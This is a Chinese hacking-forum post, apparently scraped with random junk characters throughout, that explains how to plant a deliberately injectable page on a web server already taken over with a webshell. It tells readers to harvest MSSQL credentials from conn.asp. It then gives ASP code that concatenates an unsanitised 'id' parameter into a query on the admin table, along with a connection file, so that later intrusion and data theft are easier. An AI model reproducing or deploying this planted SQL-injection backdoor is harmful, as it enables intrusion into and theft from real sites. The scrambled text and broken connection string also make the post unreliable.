自己构造注入点方便入侵5 [2 U1 j& i, m. X; h
9 z; D, k; r7 a
今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
+ z4 s$ [( ^4 z: C4 x$ G: x0 U
% f, C1 Q. C1 E! r# M1 ]2 b这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
2 S0 `) m8 s' w+ G" ^2 B9 o
4 K f2 ]7 p9 T {首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和6 q$ V7 n4 S' t& s6 Z h; @6 v
5 x. T+ V7 J( f
密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
' h$ l. @5 L% ]( l) h7 {8 |( Q( N5 S% p4 P
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:* N @, n) l% A+ K0 x# H
b( Z# D- ^" Z7 Z& ?/ T* Q8 z
程序代码9 w& D7 L# o* u2 Q7 o
<!--#include file="xx.asp"-->
7 X' }8 L/ Y% L5 K2 j, R- l<%( S2 g! l+ @' _/ S& c9 v
set rs=server.createobject("ADODB.recordset")
+ i" t) ~3 j6 j3 |id = request("id")' L/ S" J) e! k8 d2 Z) j
strSQL = "select * from admin where id=" & id' O! s; ^5 ?2 h% d
rs.open strSQL,conn,1,3
- G7 @5 Q" V/ f; j2 [( R2 ^0 xrs.close
; @$ G- F* f, C& {' \- R%>* `$ I9 w* M* e# g$ W
6 E/ o1 L/ ^" b7 T8 \6 c2 d把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在' N0 M) a& b. G) w$ H& Y' k
0 S6 ?& k, n8 ^$ t6 J% A6 g
你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
# i+ Y. a8 s3 b. t) _7 p* d5 P4 i0 q
然后就要构造一个连接数据库的文件了,代码如下:& j2 Q4 {- d' ]# h" C3 E
程序代码8 N( P/ I! i' B# ^ u* p
<%
7 H% R% A- }0 v( f5 X+ C6 t' l( YstrSQLServerName = "000.000.000.000" '服务器名称或地址
6 I! {+ X3 S$ H) t* h, D3 ~8 cstrSQLDBUserName = "sqlname" '数据库帐号) _# E8 t: @3 }: w/ n/ z
strSQLDBPassword = "sqlpass" '数据库密码
9 j9 a+ P% |4 ]0 X; DstrSQLDBName = "sqldataname" '数据库名称; |2 e/ P- G- E/ U6 T i
Set conn = Server.CreateObject("ADODB.Connection")
" {3 k c. v) R5 |6 n3 x6 dstrCon = " rovider=SQLOLEDB.1 ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & " assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"5 v+ w0 x' D8 I, j& i
conn.open strCon$ ?) ]7 W2 e3 y2 Z: h& l, Y
%>
7 d3 A7 R6 Z7 g2 ~+ S, f' m; r1 G& q2 Q9 X
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,9 T2 o% `0 _9 H( B; g' d S
% C* p5 L* P. w0 X, D9 g
就这样,正常情况下,就OK了,伪造成功……
$ [) g4 g2 F. s: }* O$ i! o
1 ~0 l; f( _- y 如果有什么问题可以提出来大家一起探讨解决。 |